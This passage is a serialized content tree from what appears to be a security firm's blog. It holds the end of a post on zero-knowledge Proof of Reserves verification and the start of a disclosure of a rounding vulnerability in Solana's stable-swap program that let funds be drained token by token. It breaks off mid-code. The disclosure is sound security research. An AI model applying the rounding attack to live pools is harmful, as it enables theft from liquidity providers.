type":29,"value":662},{"type":23,"tag":504,"props":4080,"children":4082},{"className":4081},[529],[4083,4088],{"type":23,"tag":504,"props":4084,"children":4086},{"className":4085},[529,530],[4087],{"type":29,"value":533},{"type":23,"tag":504,"props":4089,"children":4091},{"className":4090},[666],[4092],{"type":23,"tag":504,"props":4093,"children":4095},{"className":4094},[671,672],[4096,4125],{"type":23,"tag":504,"props":4097,"children":4099},{"className":4098},[677],[4100,4120],{"type":23,"tag":504,"props":4101,"children":4103},{"className":4102,"style":683},[682],[4104],{"type":23,"tag":504,"props":4105,"children":4106},{"style":687},[4107,4111],{"type":23,"tag":504,"props":4108,"children":4110},{"className":4109,"style":693},[692],[],{"type":23,"tag":504,"props":4112,"children":4114},{"className":4113},[698,699,700,701],[4115],{"type":23,"tag":504,"props":4116,"children":4118},{"className":4117},[529,701],[4119],{"type":29,"value":708},{"type":23,"tag":504,"props":4121,"children":4123},{"className":4122},[712],[4124],{"type":29,"value":715},{"type":23,"tag":504,"props":4126,"children":4128},{"className":4127},[677],[4129],{"type":23,"tag":504,"props":4130,"children":4132},{"className":4131,"style":723},[682],[4133],{"type":23,"tag":504,"props":4134,"children":4135},{},[],{"type":23,"tag":504,"props":4137,"children":4139},{"className":4138},[2267],[4140],{"type":29,"value":2270},{"type":23,"tag":504,"props":4142,"children":4144},{"className":4143,"style":2274},[537],[],{"type":23,"tag":504,"props":4146,"children":4148},{"className":4147},[529,530],[4149],{"type":29,"value":2129},{"type":23,"tag":504,"props":4151,"children":4153},{"className":4152},[529,530],[4154],{"type":29,"value":662},{"type":23,"tag":504,"props":4156,"children":4158},{"className":4157},[529],[4159,4164],{"type":23,"tag":504,"props":4160,"children":4162},{"className":4161},[529,530],[4163],{"type":29,"value":533},{"type":23,"tag":504,"props":4165,"children":4167},{"className":4166},[666],[4168],{"type":23,"tag":504,"props":4169,"children":4171},{"className":4170},[671,672],[4172,4201],{"type":23,"tag":504,"props":4173,"children":4175},{"className":4174},[677],[4176,4196],{"type":23,"tag":504,"props":4177,"children":4179},{"className":4178,"style":683},[682],[4180],{"type":23,"tag":504,"props":4181,"children":4182},{"style":687},[4183,4187],{"type":23,"tag":504,"props":4184,"children":4186},{"className":4185,"style":693},[692],[],{"type":23,"tag":504,"props":4188,"children":4190},{"className":4189},[698,699,700,701],[4191],{"type":23,"tag":504,"props":4192,"children":4194},{"className":4193},[529,701],[4195],{"type":29,"value":826},{"type":23,"tag":504,"props":4197,"children":4199},{"className":4198},[712],[4200],{"type":29,"value":715},{"type":23,"tag":504,"props":4202,"children":4204},{"className":4203},[677],[4205],{"type":23,"tag":504,"props":4206,"children":4208},{"className":4207,"style":723},[682],[4209],{"type":23,"tag":504,"props":4210,"children":4211},{},[],{"type":23,"tag":504,"props":4213,"children":4215},{"className":4214},[2267],[4216],{"type":29,"value":2270},{"type":23,"tag":504,"props":4218,"children":4220},{"className":4219,"style":2274},[537],[],{"type":23,"tag":504,"props":4222,"children":4224},{"className":4223},[529],[4225],{"type":29,"value":853},{"type":23,"tag":504,"props":4227,"children":4229},{"className":4228},[2267],[4230],{"type":29,"value":2270},{"type":23,"tag":504,"props":4232,"children":4234},{"className":4233,"style":2274},[537],[],{"type":23,"tag":504,"props":4236,"children":4238},{"className":4237},[529,530],[4239],{"type":29,"value":2129},{"type":23,"tag":504,"props":4241,"children":4243},{"className":4242},[529,530],[4244],{"type":29,"value":662},{"type":23,"tag":504,"props":4246,"children":4248},{"className":4247},[529],[4249,4254],{"type":23,"tag":504,"props":4250,"children":4252},{"className":4251},[529,530],[4253],{"type":29,"value":533},{"type":23,"tag":504,"props":4255,"children":4257},{"className":4256},[666],[4258],{"type":23,"tag":504,"props":4259,"children":4261},{"className":4260},[671,672],[4262,4296],{"type":23,"tag":504,"props":4263,"children":4265},{"className":4264},[677],[4266,4291],{"type":23,"tag":504,"props":4267,"children":4269},{"className":4268,"style":683},[682],[4270],{"type":23,"tag":504,"props":4271,"children":4272},{"style":687},[4273,4277],{"type":23,"tag":504,"props":4274,"children":4276},{"className":4275,"style":693},[692],[],{"type":23,"tag":504,"props":4278,"children":4280},{"className":4279},[698,699,700,701],[4281],{"type":23,"tag":504,"props":4282,"children":4284},{"className":4283},[529,701],[4285],{"type":23,"tag":504,"props":4286,"children":4288},{"className":4287},[529,701],[4289],{"type":29,"value":4290},"31",{"type":23,"tag":504,"props":4292,"children":4294},{"className":4293},[712],[4295],{"type":29,"value":715},{"type":23,"tag":504,"props":4297,"children":4299},{"className":4298},[677],[4300],{"type":23,"tag":504,"props":4301,"children":4303},{"className":4302,"style":723},[682],[4304],{"type":23,"tag":504,"props":4305,"children":4306},{},[],{"type":23,"tag":504,"props":4308,"children":4310},{"className":4309},[930],[4311],{"type":29,"value":933},{"type":29,"value":1698},{"type":23,"tag":38,"props":4314,"children":4315},{},[4316],{"type":29,"value":2453},{"type":23,"tag":143,"props":4318,"children":4319},{},[4320,4326,4327],{"type":23,"tag":4321,"props":4322,"children":4323},"em",{},[4324],{"type":29,"value":4325},"checks if each sum is overflowing by checking if the sum of two positive numbers results in a negative one",{"type":29,"value":1698},{"type":23,"tag":38,"props":4328,"children":4329},{},[4330],{"type":29,"value":2739},{"type":23,"tag":32,"props":4332,"children":4333},{},[4334],{"type":29,"value":4335},"Here is a visual scheme of the inputs of the recursive circuit. Note that this tree only has three levels (L1, L2, L3). Depending on the number of users, it may have more recursive levels:",{"type":23,"tag":32,"props":4337,"children":4338},{},[4339],{"type":23,"tag":199,"props":4340,"children":4342},{"alt":201,"src":4341},"/posts/por/recursive-circuit.png",[],{"type":23,"tag":24,"props":4344,"children":4346},{"id":4345},"global-proof-and-inclusion-proofs",[4347],{"type":29,"value":4348},"Global Proof and Inclusion Proofs",{"type":23,"tag":320,"props":4350,"children":4352},{"id":4351},"proving",[4353],{"type":29,"value":4354},"Proving",{"type":23,"tag":32,"props":4356,"children":4357},{},[4358,4360,4366,4368,4374,4376,4382],{"type":29,"value":4359},"After proving all batch circuits and all recursive circuits, we have the final proof (which is the ZK proof of the recursive tree root), the entire Merkle tree, and the user nonces. In our code, it is serialized to ",{"type":23,"tag":154,"props":4361,"children":4363},{"className":4362},[],[4364],{"type":29,"value":4365},"merkle_tree.json",{"type":29,"value":4367},", ",{"type":23,"tag":154,"props":4369,"children":4371},{"className":4370},[],[4372],{"type":29,"value":4373},"final_proof.json",{"type":29,"value":4375},", and ",{"type":23,"tag":154,"props":4377,"children":4379},{"className":4378},[],[4380],{"type":29,"value":4381},"private_nonces.json",{"type":29,"value":4383}," files.",{"type":23,"tag":32,"props":4385,"children":4386},{},[4387],{"type":29,"value":4388},"Using the ZK proof and the Merkle tree, we can already prove the sum of the asset balances and their non-negativity; we refer to this as the \"global proof.\"",{"type":23,"tag":32,"props":4390,"children":4391},{},[4392,4394,4400,4402,4407],{"type":29,"value":4393},"For the user inclusion proofs, we get the Merkle tree, the user asset balances, the identification hash, and the nonce to bundle it in one proof file (",{"type":23,"tag":154,"props":4395,"children":4397},{"className":4396},[],[4398],{"type":29,"value":4399},"inclusion_proof_\u003Cid>.json",{"type":29,"value":4401},"). ",{"type":23,"tag":4321,"props":4403,"children":4404},{},[4405],{"type":29,"value":4406},"We bundle only a part of the Merkle tree to the inclusion proof file to make the proof smaller",{"type":29,"value":357},{"type":23,"tag":320,"props":4409,"children":4411},{"id":4410},"verifying",[4412],{"type":29,"value":4413},"Verifying",{"type":23,"tag":32,"props":4415,"children":4416},{},[4417],{"type":23,"tag":38,"props":4418,"children":4419},{},[4420],{"type":29,"value":4421},"Global Proof",{"type":23,"tag":32,"props":4423,"children":4424},{},[4425,4427,4432,4434,4439],{"type":29,"value":4426},"To verify the global proof, the code deserializes the ",{"type":23,"tag":154,"props":4428,"children":4430},{"className":4429},[],[4431],{"type":29,"value":4365},{"type":29,"value":4433}," and the ",{"type":23,"tag":154,"props":4435,"children":4437},{"className":4436},[],[4438],{"type":29,"value":4373},{"type":29,"value":4440}," files and performs these checks:",{"type":23,"tag":139,"props":4442,"children":4443},{},[4444,4449,4454,4459,4486],{"type":23,"tag":143,"props":4445,"children":4446},{},[4447],{"type":29,"value":4448},"Validate if the final proof was generated with a valid and trusted circuit.",{"type":23,"tag":143,"props":4450,"children":4451},{},[4452],{"type":29,"value":4453},"Verify the ZK final proof.",{"type":23,"tag":143,"props":4455,"children":4456},{},[4457],{"type":29,"value":4458},"Verify if asset prices are valid. (It doesn't verify if it matches the real price; you need to do it manually. It only verifies if decimals are valid.)",{"type":23,"tag":143,"props":4460,"children":4461},{},[4462,4464,4470,4472,4477,4479,4484],{"type":29,"value":4463},"Verify if the Merkle tree root hash is the same as the final proof ",{"type":23,"tag":154,"props":4465,"children":4467},{"className":4466},[],[4468],{"type":29,"value":4469},"merkle_tree_hash",{"type":29,"value":4471}," public input. This ensures that the ",{"type":23,"tag":154,"props":4473,"children":4475},{"className":4474},[],[4476],{"type":29,"value":4365},{"type":29,"value":4478}," and ",{"type":23,"tag":154,"props":4480,"children":4482},{"className":4481},[],[4483],{"type":29,"value":4373},{"type":29,"value":4485}," are linked (they belong to the same global proof).",{"type":23,"tag":143,"props":4487,"children":4488},{},[4489],{"type":29,"value":4490},"Verify the entire Merkle tree by hashing all the nodes again, starting with the batch circuit, since the verifier won't have the necessary information to hash the leaves again (for privacy). This ensures that the tree was not tampered with.",{"type":23,"tag":32,"props":4492,"children":4493},{},[4494],{"type":23,"tag":38,"props":4495,"children":4496},{},[4497],{"type":29,"value":4498},"Inclusion Proof",{"type":23,"tag":32,"props":4500,"children":4501},{},[4502,4504,4509,4511,4516],{"type":29,"value":4503},"To verify the inclusion proof, the code deserializes the ",{"type":23,"tag":154,"props":4505,"children":4507},{"className":4506},[],[4508],{"type":29,"value":4399},{"type":29,"value":4510}," file and also the ",{"type":23,"tag":154,"props":4512,"children":4514},{"className":4513},[],[4515],{"type":29,"value":4373},{"type":29,"value":4517},". After that, it performs these checks:",{"type":23,"tag":139,"props":4519,"children":4520},{},[4521,4525,4530,4535],{"type":23,"tag":143,"props":4522,"children":4523},{},[4524],{"type":29,"value":4453},{"type":23,"tag":143,"props":4526,"children":4527},{},[4528],{"type":29,"value":4529},"Verify if the Merkle tree root is the same as in the final proof.",{"type":23,"tag":143,"props":4531,"children":4532},{},[4533],{"type":29,"value":4534},"Recalculate the user-related node leaf hash.",{"type":23,"tag":143,"props":4536,"children":4537},{},[4538],{"type":29,"value":4539},"Verify a partial Merkle tree using the recalculated hash (it doesn't contain all the leaves).",{"type":23,"tag":24,"props":4541,"children":4543},{"id":4542},"por-verifier-server",[4544],{"type":29,"value":4545},"PoR Verifier Server",{"type":23,"tag":32,"props":4547,"children":4548},{},[4549,4551,4557],{"type":29,"value":4550},"To automate the verification process, we created a ",{"type":23,"tag":68,"props":4552,"children":4554},{"href":103,"rel":4553},[72],[4555],{"type":29,"value":4556},"verifier server",{"type":29,"value":4558}," that the exchange can submit the proofs into. Once submitted, the proof is validated and added to the database.",{"type":23,"tag":32,"props":4560,"children":4561},{},[4562],{"type":29,"value":4563},"Once the proof was added, any user can enter the website and see its information (see backpack's example):",{"type":23,"tag":32,"props":4565,"children":4566},{},[4567],{"type":23,"tag":199,"props":4568,"children":4570},{"alt":201,"src":4569},"/posts/por/backpack-por.png",[],{"type":23,"tag":32,"props":4572,"children":4573},{},[4574],{"type":29,"value":4575},"Here is a breakdown of what fields represent and why they are required:",{"type":23,"tag":1022,"props":4577,"children":4578},{},[4579,4589,4599,4609,4619,4629],{"type":23,"tag":143,"props":4580,"children":4581},{},[4582,4587],{"type":23,"tag":38,"props":4583,"children":4584},{},[4585],{"type":29,"value":4586},"Status",{"type":29,"value":4588}," --> verifies if the proof is valid, ensuring that the information has not been tampered with.",{"type":23,"tag":143,"props":4590,"children":4591},{},[4592,4597],{"type":23,"tag":38,"props":4593,"children":4594},{},[4595],{"type":29,"value":4596},"Proof Timestamp",{"type":29,"value":4598}," --> when the proof was generated by the exchange.",{"type":23,"tag":143,"props":4600,"children":4601},{},[4602,4607],{"type":23,"tag":38,"props":4603,"children":4604},{},[4605],{"type":29,"value":4606},"Verify Timestamp",{"type":29,"value":4608}," --> when the proof was verified by the PoR server.",{"type":23,"tag":143,"props":4610,"children":4611},{},[4612,4617],{"type":23,"tag":38,"props":4613,"children":4614},{},[4615],{"type":29,"value":4616},"Proof File URL",{"type":29,"value":4618}," --> the URL where the proof was downloaded from. Users can download it to verify the proof's validity themselves.",{"type":23,"tag":143,"props":4620,"children":4621},{},[4622,4627],{"type":23,"tag":38,"props":4623,"children":4624},{},[4625],{"type":29,"value":4626},"Prover Version",{"type":29,"value":4628}," --> the version of PoRv2 used. Using different versions for proving/verifying can result in errors due to ZK circuit discrepancies. Therefore, if you are going to verify the validity of the proof yourself, ensure that you download and use the same prover version as the proof.",{"type":23,"tag":143,"props":4630,"children":4631},{},[4632,4637],{"type":23,"tag":38,"props":4633,"children":4634},{},[4635],{"type":29,"value":4636},"File Hash (SHA256)",{"type":29,"value":4638}," --> since we only store the URL of the proof, it can be maliciously changed after our verification. SHA256 can be used to prove if the file was modified after the verification. If you are going to verify the proof by yourself, check if the downloaded zip file matches the hash shown on the website.",{"type":23,"tag":32,"props":4640,"children":4641},{},[4642],{"type":29,"value":4643},"Also, you can check the exchange's liabilities on the website:",{"type":23,"tag":32,"props":4645,"children":4646},{},[4647],{"type":23,"tag":199,"props":4648,"children":4650},{"alt":201,"src":4649},"/posts/por/backpack-por-liabilities.png",[],{"type":23,"tag":32,"props":4652,"children":4653},{},[4654,4656,4662,4664,4670],{"type":29,"value":4655},"These are the amount of assets that the exchange should have in their reserves to be solvent on each asset. You can match if they have it by checking their reserve wallets on blockchain. You can see backpack's wallets in ",{"type":23,"tag":68,"props":4657,"children":4660},{"href":4658,"rel":4659},"https://backpack.exchange/reserves",[72],[4661],{"type":29,"value":4658},{"type":29,"value":4663}," and our verifier server for backpack at ",{"type":23,"tag":68,"props":4665,"children":4668},{"href":4666,"rel":4667},"https://backpack-por.osec.io/",[72],[4669],{"type":29,"value":4666},{"type":29,"value":357},{"type":23,"tag":24,"props":4672,"children":4674},{"id":4673},"self-verification",[4675],{"type":29,"value":4676},"Self-verification",{"type":23,"tag":32,"props":4678,"children":4679},{},[4680],{"type":29,"value":4681},"You, as a user, can verify both proofs by yourself, the inclusion proof to verify if you were included in the PoR total liabilities sum and the global proof to verify if the commitments provided by the exchange are valid.",{"type":23,"tag":320,"props":4683,"children":4685},{"id":4684},"how-to-verify-if-i-was-included",[4686],{"type":29,"value":4687},"How to verify if I was included?",{"type":23,"tag":32,"props":4689,"children":4690},{},[4691],{"type":29,"value":4692},"If you are a user and want to do the self-verification of inclusion, you will need to follow these steps:",{"type":23,"tag":139,"props":4694,"children":4695},{},[4696,4707,4725],{"type":23,"tag":143,"props":4697,"children":4698},{},[4699,4706],{"type":23,"tag":68,"props":4700,"children":4703},{"href":4701,"rel":4702},"https://github.com/otter-sec/por_v2/releases",[72],[4704],{"type":29,"value":4705},"Download the PoRv2 executable from our github",{"type":29,"value":357},{"type":23,"tag":143,"props":4708,"children":4709},{},[4710,4712,4717,4718,4723],{"type":29,"value":4711},"Download the inclusion and the final proof files from the exchange (",{"type":23,"tag":154,"props":4713,"children":4715},{"className":4714},[],[4716],{"type":29,"value":4399},{"type":29,"value":4478},{"type":23,"tag":154,"props":4719,"children":4721},{"className":4720},[],[4722],{"type":29,"value":4373},{"type":29,"value":4724},") and put the files in the same directory as the PoRv2 app.",{"type":23,"tag":143,"props":4726,"children":4727},{},[4728,4730,4736],{"type":29,"value":4729},"Open the terminal and execute this: ",{"type":23,"tag":154,"props":4731,"children":4733},{"className":4732},[],[4734],{"type":29,"value":4735},"./plonky2_por verify-inclusion",{"type":29,"value":357},{"type":23,"tag":32,"props":4738,"children":4739},{},[4740],{"type":29,"value":4741},"This will verify if the proofs are valid and show your asset balances. You will need to verify manually that the balances are correct. Remember that the proofs are not calculated in real-time; you must verify if the balances were correct at the proof generation date. Here is an example of a valid proof being verified:",{"type":23,"tag":4743,"props":4744,"children":4746},"pre",{"code":4745},"[!] The following information was used to generate the proof, please manually verify if they are correct:\n[!] NOTE: This is not real-time information, verify if the information is correct relative to the time of the proof generation\n[!] NOTE2: Some asset balances was rounded by some decimals, verify if they are close enough to the original balance\n======================\nProof generation date: 2025-02-22 19:59:59 UTC\nProof generation timestamp (ms): 1740254399944\nNumber of accounted assets: 100\n\n-----Asset balances-----\nETH: 0\nBTC: 1.2\nUSDC: 0\n...\n======================\n[!] Verifying global proof (trusting circuit data inside the file)...\n[+] Global proof is valid!\n[!] Verifying inclusion proof...\n[+] Inclusion proof root hash is valid! The user is included in the merkle tree!\n[+] Successfully verified inclusion proof for file: inclusion_proof_00476816e43cf2efffdabdda7f55c5203bc9e28382c551f83931de02fd364a25.json\n\n[+] All inclusion proofs are valid!\n[+] Finished in 13.731875ms!\n",[4747],{"type":23,"tag":154,"props":4748,"children":4749},{"__ignoreMap":7},[4750],{"type":29,"value":4745},{"type":23,"tag":320,"props":4752,"children":4754},{"id":4753},"how-can-i-verify-the-global-proof",[4755],{"type":29,"value":4756},"How can I verify the global proof?",{"type":23,"tag":32,"props":4758,"children":4759},{},[4760],{"type":29,"value":4761},"If you want to verify if the global proof is valid, you just need to follow these steps:",{"type":23,"tag":139,"props":4763,"children":4764},{},[4765,4774,4792],{"type":23,"tag":143,"props":4766,"children":4767},{},[4768,4773],{"type":23,"tag":68,"props":4769,"children":4771},{"href":4701,"rel":4770},[72],[4772],{"type":29,"value":4705},{"type":29,"value":357},{"type":23,"tag":143,"props":4775,"children":4776},{},[4777,4779,4784,4785,4790],{"type":29,"value":4778},"Download the ",{"type":23,"tag":154,"props":4780,"children":4782},{"className":4781},[],[4783],{"type":29,"value":4365},{"type":29,"value":4433},{"type":23,"tag":154,"props":4786,"children":4788},{"className":4787},[],[4789],{"type":29,"value":4373},{"type":29,"value":4791}," files and put them in the same directory as the PoRv2 app. You can download those files from our PoR verifier server (download the zip file and unzip it).",{"type":23,"tag":143,"props":4793,"children":4794},{},[4795,4797,4802],{"type":29,"value":4796},"Open the terminal and execute ",{"type":23,"tag":154,"props":4798,"children":4800},{"className":4799},[],[4801],{"type":29,"value":4735},{"type":29,"value":4803},". This might take a while to verify since it needs to deserialize a big file and verify the final proof circuit (which involves rebuilding it).",{"type":23,"tag":32,"props":4805,"children":4806},{},[4807],{"type":29,"value":4808},"This will verify the global proof and print the asset prices to be manually verified. Note that the asset prices shown are not real-time; you must match them to the price on the proof generation date and time.",{"type":23,"tag":4743,"props":4810,"children":4812},{"code":4811},"[!] Verifying the proof of reserves...\n[!] The following information was used to generate the proof, please manually verify if they are correct:\n[!] NOTE: This is not real-time information, verify if the information is correct relative to the time of the proof generation\n[!] NOTE2: Asset prices was rounded by some decimals, verify if they are close enough to the original price\n======================\nProof generation date: 2025-02-22 19:59:59 UTC\nProof generation timestamp (ms): 1740254399944\nNumber of accounted assets: 100\n\n-----Asset prices-----\nBTC: US$ 95000\nETH: US$ 2402.48\n...\n======================\n",[4813],{"type":23,"tag":154,"props":4814,"children":4815},{"__ignoreMap":7},[4816],{"type":29,"value":4811},{"type":23,"tag":32,"props":4818,"children":4819},{},[4820],{"type":29,"value":4821},"When verification is completed, and all proofs are valid, the system will print the summed balances of each asset. These are the liabilities of the exchange, which you can use to check if they have reserves to cover it.",{"type":23,"tag":4743,"props":4823,"children":4825},{"code":4824},"[!] Rebuilding root circuit... This might take several minutes...\n[+] Root circuit rebuilt successfully!\n[!] Verifying final proof...\n[+] Proof is valid!\n[!] Verifying asset prices...\n[+] Asset prices are valid!\n[!] Verifying asset decimals...\n[+] Asset decimals are valid!\n[!] Verifying merkle tree root hash...\n[+] Merkle tree root hash is valid!\n[!] Verifying merkle tree...\n[+] Merkle tree is valid!\n\n[!] The following information is the final needed asset reserves, which was validated by the Zero-Knowledge proof\n[!] NOTE: This is not real-time information, the information is relative to the time of the proof generation\n[!] NOTE2: We cannot guarantee that all users were included in the proof, but you can check if you were included by verifying the inclusion proof\n======================\nProof generation date: 2025-02-22 19:59:59 UTC\nProof generation timestamp (ms): 1740254399944\nNumber of accounted assets: 100\n\n-----Asset reserves-----\nBTC: 1.2\nETH: 5.4\n...\n======================\n\n[+] All proofs are valid!\n[+] Finished in 4.455745214s!\n",[4826],{"type":23,"tag":154,"props":4827,"children":4828},{"__ignoreMap":7},[4829],{"type":29,"value":4824},{"type":23,"tag":24,"props":4831,"children":4833},{"id":4832},"conclusion",[4834],{"type":29,"value":4835},"Conclusion",{"type":23,"tag":32,"props":4837,"children":4838},{},[4839],{"type":29,"value":4840},"In conclusion, Proof of Reserves serves as a crucial mechanism for crypto platforms, enabling them to demonstrate solvency and gain user trust in a transparent manner. By employing zero-knowledge proofs, platforms can achieve this transparency without exposing sensitive user data, effectively proving total liabilities and ensuring non-negativity while preserving privacy. Our system further refines this process, boosting efficiency and eliminating the need for manual verification.",{"type":23,"tag":32,"props":4842,"children":4843},{},[4844,4846,4852],{"type":29,"value":4845},"We are currently working with Backpack to implement this algorithm ",{"type":23,"tag":68,"props":4847,"children":4849},{"href":4658,"rel":4848},[72],[4850],{"type":29,"value":4851},"in production",{"type":29,"value":4853}," to generate and verify proofs every 24 hours. This marks a significant advancement toward establishing a real-time Proof of Reserves system, particularly given that it offers increased transparency, which is a step forward in reducing the need for external audit companies, as users will be able to verify everything themselves.",{"type":23,"tag":32,"props":4855,"children":4856},{},[4857,4859,4866],{"type":29,"value":4858},"For more information about how Backpack Exchange implements Proof of Reserves in practice, you can read their detailed article: ",{"type":23,"tag":68,"props":4860,"children":4863},{"href":4861,"rel":4862},"https://learn.backpack.exchange/articles/proof-of-reserves-at-backpack",[72],[4864],{"type":29,"value":4865},"Proof of Reserves at Backpack Exchange: Real Transparency, ZK Verified",{"type":29,"value":357},{"title":7,"searchDepth":4868,"depth":4868,"links":4869},2,[4870,4871,4872,4873,4877,4882,4886,4887,4891],{"id":26,"depth":4868,"text":30},{"id":112,"depth":4868,"text":115},{"id":186,"depth":4868,"text":189},{"id":242,"depth":4868,"text":245,"children":4874},[4875],{"id":322,"depth":4876,"text":325},3,{"id":411,"depth":4868,"text":414,"children":4878},[4879,4880,4881],{"id":485,"depth":4876,"text":488},{"id":1004,"depth":4876,"text":1007},{"id":2762,"depth":4876,"text":2765},{"id":4345,"depth":4868,"text":4348,"children":4883},[4884,4885],{"id":4351,"depth":4876,"text":4354},{"id":4410,"depth":4876,"text":4413},{"id":4542,"depth":4868,"text":4545},{"id":4673,"depth":4868,"text":4676,"children":4888},[4889,4890],{"id":4684,"depth":4876,"text":4687},{"id":4753,"depth":4876,"text":4756},{"id":4832,"depth":4868,"text":4835},"markdown","content:blog:2025-08-27-how-proof-of-reserves-uses-zk-to-protect-your-funds.md","content","blog/2025-08-27-how-proof-of-reserves-uses-zk-to-protect-your-funds.md","blog/2025-08-27-how-proof-of-reserves-uses-zk-to-protect-your-funds","md",[4899,7424,7761,11307,15662,20796,31056,32488,33251,37478,42504,47936,49093,52584,62975,69704,71543,73252,77917,91813,94534,99040,101480,103825,109611,125431,133731,143655,148933,158326,160663],{"_path":4900,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":4901,"description":4902,"image":4903,"date":4907,"isFeatured":15,"tags":4908,"onBlogPage":15,"body":4911,"_type":4892,"_id":7421,"_source":4894,"_file":7422,"_stem":7423,"_extension":4897},"/blog/2022-04-26-spl-swap-rounding","Becoming a Millionaire, 0.000150 BTC at a Time","How we discovered a critical issue in Solana's stable swap implementation. A story about arbitrage and rounding.",{"src":4904,"width":4905,"height":4906},"/posts/spl-swap/title.jpg",600,368,"2022-04-26",[4909,4910],"solana","report",{"type":20,"children":4912,"toc":7415},[4913,4927,4932,4937,4945,4951,4956,4961,4969,4977,4982,4987,4995,5000,5005,5404,5414,5419,5966,5971,5979,5986,5992,5997,6002,6007,6014,6026,6031,6043,6253,6258,6263,6269,6274,6279,6326,6331,6339,6344,6349,6354,6499,6512,6629,6643,6651,6665,6673,6686,6691,6703,6711,6733,7351,7357,7362,7374,7387,7394,7399,7404,7409],{"type":23,"tag":32,"props":4914,"children":4915},{},[4916,4918,4925],{"type":29,"value":4917},"We discovered a critical rounding issue in the Solana Program Library's implementation of stable swap, ",{"type":23,"tag":68,"props":4919,"children":4922},{"href":4920,"rel":4921},"https://github.com/solana-labs/solana-program-library/tree/master/token-swap/program",[72],[4923],{"type":29,"value":4924},"spl-token-swap",{"type":29,"value":4926},". Similar to Neodyme's spl-token-lending exploit, we were able to extract a single token per instruction. This exceeds the value of the 5000 lamport transaction fee on BTC stable swaps, allowing an attacker to profitably drain funds.",{"type":23,"tag":32,"props":4928,"children":4929},{},[4930],{"type":29,"value":4931},"Such BTC stable swaps had over 74 million in combined value. The total value of stable swaps impacted exceed 700 million.",{"type":23,"tag":32,"props":4933,"children":4934},{},[4935],{"type":29,"value":4936},"We would also like to thank the Saber team for their fast triage and remediation.",{"type":23,"tag":32,"props":4938,"children":4939},{},[4940],{"type":23,"tag":4321,"props":4941,"children":4942},{},[4943],{"type":29,"value":4944},"Rounding bugs are an increasingly common vulnerability class, enabled by low transaction costs",{"type":23,"tag":24,"props":4946,"children":4948},{"id":4947},"discovery",[4949],{"type":29,"value":4950},"Discovery",{"type":23,"tag":32,"props":4952,"children":4953},{},[4954],{"type":29,"value":4955},"Parth, one of our researchers, was implementing a graph search for our arbitrage bot to calculate the price of any token relative to SOL.",{"type":23,"tag":32,"props":4957,"children":4958},{},[4959],{"type":29,"value":4960},"After a while, he noticed something weird..",{"type":23,"tag":446,"props":4962,"children":4963},{},[4964],{"type":23,"tag":32,"props":4965,"children":4966},{},[4967],{"type":29,"value":4968},"so either my graph search is wrong\nor its possible to get a ton of money out of nothing",{"type":23,"tag":4743,"props":4970,"children":4972},{"code":4971},"KwnjUuZ :              0 9vMJfxu ->              1 EPjFWdd\nKwnjUuZ :              1 EPjFWdd ->              2 9vMJfxu\nKwnjUuZ :              2 9vMJfxu ->              3 EPjFWdd\nHU1tejU :              3 EPjFWdd ->            625 PRT88Rk\n24ZbKS3 :            625 PRT88Rk ->              7 EPjFWdd\n3oRPcFa :              7 EPjFWdd ->              6 BQcdHdA\n",[4973],{"type":23,"tag":154,"props":4974,"children":4975},{"__ignoreMap":7},[4976],{"type":29,"value":4971},{"type":23,"tag":32,"props":4978,"children":4979},{},[4980],{"type":29,"value":4981},"Somehow, we were getting tokens from nothing?",{"type":23,"tag":32,"props":4983,"children":4984},{},[4985],{"type":29,"value":4986},"After taking a look at the pairs on which this was occuring, we quickly realized that only stable swap pairs were impacted.",{"type":23,"tag":4743,"props":4988,"children":4990},{"code":4989},"KwnjUuZhTMTSGAaavkLEmSyfobY16JNH4poL9oeeEvE\nHU1tejUtt7AZYrC9SAuqCW9MpuSqsdoedHSb1XUKjUPN\n24ZbKS36rkPv14Tdx8qv4NRyqatTaJ5KgJrT1LxBKn5d\n3oRPcFaRHvv9pPR6nRasigVDkm3k9kTjdfjxUpgLV5Pq\n",[4991],{"type":23,"tag":154,"props":4992,"children":4993},{"__ignoreMap":7},[4994],{"type":29,"value":4989},{"type":23,"tag":32,"props":4996,"children":4997},{},[4998],{"type":29,"value":4999},"This seemed suspicious. Perhaps it had something to do with the stable swap math?",{"type":23,"tag":32,"props":5001,"children":5002},{},[5003],{"type":29,"value":5004},"It was also weird how we could only ever get at most one extra token. As usual, the best way to answer such questions is to read the code. We dived into the stable swap Solana implementation to look for a possible root cause.",{"type":23,"tag":4743,"props":5006,"children":5010},{"code":5007,"language":5008,"meta":7,"className":5009,"style":7},"    // Solve for y by approximating: y**2 + b*y = c\n    let mut y = d_val;\n    for _ in 0..ITERATIONS {\n        let (y_new, _) = (checked_u8_power(&y, 2)?.checked_add(c)?)\n            .checked_ceil_div(checked_u8_mul(&y, 2)?.checked_add(b)?.checked_sub(d_val)?)?;\n        if y_new == y {\n            break;\n        } else {\n            y = y_new;\n        }\n    }\n","rust","language-rust shiki shiki-themes slack-dark",[5011],{"type":23,"tag":154,"props":5012,"children":5013},{"__ignoreMap":7},[5014,5025,5062,5097,5201,5306,5334,5347,5365,5386,5395],{"type":23,"tag":504,"props":5015,"children":5018},{"class":5016,"line":5017},"line",1,[5019],{"type":23,"tag":504,"props":5020,"children":5022},{"style":5021},"--shiki-default:#6A9955",[5023],{"type":29,"value":5024},"    // Solve for y by approximating: y**2 + b*y = c\n",{"type":23,"tag":504,"props":5026,"children":5027},{"class":5016,"line":4868},[5028,5034,5039,5045,5051,5056],{"type":23,"tag":504,"props":5029,"children":5031},{"style":5030},"--shiki-default:#569CD6",[5032],{"type":29,"value":5033},"    let",{"type":23,"tag":504,"props":5035,"children":5036},{"style":5030},[5037],{"type":29,"value":5038}," mut",{"type":23,"tag":504,"props":5040,"children":5042},{"style":5041},"--shiki-default:#9CDCFE",[5043],{"type":29,"value":5044}," y",{"type":23,"tag":504,"props":5046,"children":5048},{"style":5047},"--shiki-default:#D4D4D4",[5049],{"type":29,"value":5050}," =",{"type":23,"tag":504,"props":5052,"children":5053},{"style":5041},[5054],{"type":29,"value":5055}," d_val",{"type":23,"tag":504,"props":5057,"children":5059},{"style":5058},"--shiki-default:#E6E6E6",[5060],{"type":29,"value":5061},";\n",{"type":23,"tag":504,"props":5063,"children":5064},{"class":5016,"line":4876},[5065,5071,5076,5081,5087,5092],{"type":23,"tag":504,"props":5066,"children":5068},{"style":5067},"--shiki-default:#C586C0",[5069],{"type":29,"value":5070},"    for",{"type":23,"tag":504,"props":5072,"children":5073},{"style":5041},[5074],{"type":29,"value":5075}," _",{"type":23,"tag":504,"props":5077,"children":5078},{"style":5030},[5079],{"type":29,"value":5080}," 